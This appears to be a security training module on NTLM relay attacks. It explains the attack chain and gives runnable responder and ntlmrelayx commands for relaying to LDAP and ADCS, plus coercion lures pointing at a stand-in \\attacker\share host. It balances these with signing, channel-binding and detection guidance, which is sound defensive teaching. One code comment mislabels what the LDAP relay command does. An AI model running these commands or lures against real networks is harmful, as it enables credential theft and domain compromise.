Module 4 · NTLM Relay Attacks

Last updated: April 29, 2026

NTLM Relay is one of the most effective attacks against modern Windows environments — and it works even on fully-patched systems if defenders haven’t enabled specific hardening. This module covers how relay works, common exploit chains, and the defences that actually block it.

How NTLM authentication works

NTLM is a challenge-response protocol. Client sends NTLM_NEGOTIATE; server responds with a challenge; client hashes its password with the challenge and returns the response; server verifies.

Critical design flaw: NTLM does not verify to WHOM the client is authenticating. If an attacker can get the client to initiate NTLM auth to the attacker’s server, the attacker can relay the auth to a different server and impersonate the client there.

The classic attack chain

1. Attacker on the network runs responder or ntlmrelayx
2. Attacker poisons LLMNR/NBT-NS/mDNS responses (broadcast name-resolution protocols)
3. Victim tries to resolve a mistyped hostname → gets attacker’s IP
4. Victim sends NTLM auth to attacker
5. Attacker relays to a target server (file share, MSSQL, LDAP, IIS)
6. Attacker is now authenticated as the victim on the target

Exploitation tools

# Responder — listens + poisons LLMNR/NBT-NS
responder -I eth0 -wFv

# ntlmrelayx — relays captured NTLM to target
ntlmrelayx.py -tf targets.txt -smb2support

# Relay to LDAP to add user to Domain Admins
ntlmrelayx.py -t ldap://dc.corp.com --add-computer ATTACKER

# Relay to ADCS (PetitPotam + ADCS = domain admin)
ntlmrelayx.py -t http://ca.corp.com/certsrv/certfnsh.asp --adcs --template DomainController

Coercion methods

Instead of waiting for accidental auth, attackers force it via:

• PetitPotam — abuses MS-EFSRPC to force a DC to authenticate
• PrintNightmare / PrinterBug — Print Spooler service can be tricked into authenticating
• DFSCoerce — abuses MS-DFSNM
• Link-local — malicious file paths in emails, docs (UNC: \\attacker\share)
• WebDAV — <img src=”file://\\attacker\share”> in HTML

Defences that actually block NTLM relay

1. SMB signing required — on DCs and servers. Forces every SMB packet to be signed; relay detected and rejected
2. LDAP signing required — same for LDAP
3. Channel binding (EPA — Extended Protection for Authentication) — HTTP/LDAPS verifies the TLS channel binding, preventing relay across different channels
4. Disable NTLM entirely — GPO setting. Enterprise goal but requires AD hygiene.
5. Disable LLMNR, NBT-NS, mDNS — kills the poisoning vector
6. Kerberos-only for critical services — relay doesn’t work against Kerberos
7. Smart-card / Windows Hello for Business — eliminates NTLM primary auth

Sysmon + detection rules

• Event 4624 LogonType 3 from unexpected source IPs
• Event 4648 (explicit credentials) from machine accounts to sensitive targets
• LLMNR/NBT-NS query spikes indicating responder activity
• New computer account creation (relay to LDAP)
• Unexpected certificate enrollments (relay to ADCS)

Quick reference summary

• NTLM relay works because NTLM doesn’t verify target server identity
• Attacker poisons name resolution (LLMNR/NBT-NS) or coerces auth (PetitPotam)
• Tools: responder, ntlmrelayx
• Defences: SMB signing + LDAP signing required, EPA/channel binding, disable NTLM, disable LLMNR/NBT-NS
• ADCS + NTLM relay = Domain Admin (PetitPotam + ADCS ESC8)
• Kerberos-only for sensitive services prevents relay